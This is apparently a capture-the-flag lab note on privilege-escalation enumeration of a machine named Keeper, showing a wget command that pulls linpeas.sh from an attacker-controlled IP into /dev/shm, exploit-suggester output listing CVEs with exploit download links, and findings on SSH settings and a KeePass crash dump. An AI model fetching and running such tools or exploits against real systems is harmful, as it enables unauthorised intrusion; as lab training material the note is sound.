InfoSec LAB

Keeper_Automated

Created: 1 min read

PEAS

lnorgaard@keeper:/dev/shm$ wget -q http://10.10.14.20/linpeas.sh ; chmod 755 /dev/shm/linpeas.sh

Delivery complete

Executing PEAS

CVEs

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-0847] DirtyPipe
 
   Details: https://dirtypipe.cm4all.com/
   Exposure: less probable
   Tags: ubuntu=(20.04|21.04),debian=11
   Download URL: https://haxx.in/files/dirtypipez.c
 
[+] [CVE-2021-3156] sudo Baron Samedit
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
 
[+] [CVE-2021-3156] sudo Baron Samedit 2
 
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
 
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
 
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

Networks

PEAS also picked up the active network sockets

Web

hosts

Apache? It turns out the web app itself is hosted by Apache over 127.0.0.1:9000, which was also found during the network enumeration The web root is /usr/share/request-tracker4/html/

nginx is just running as a proxy

SSH

There is a SSH directory at the home directory of the lnorgaard user

PermitRootLogin is set

KeePass

PEAS also picked up the crash dump of KeePass, which was mentioned in the ticket earlier

Interactive Graph View

Backlinks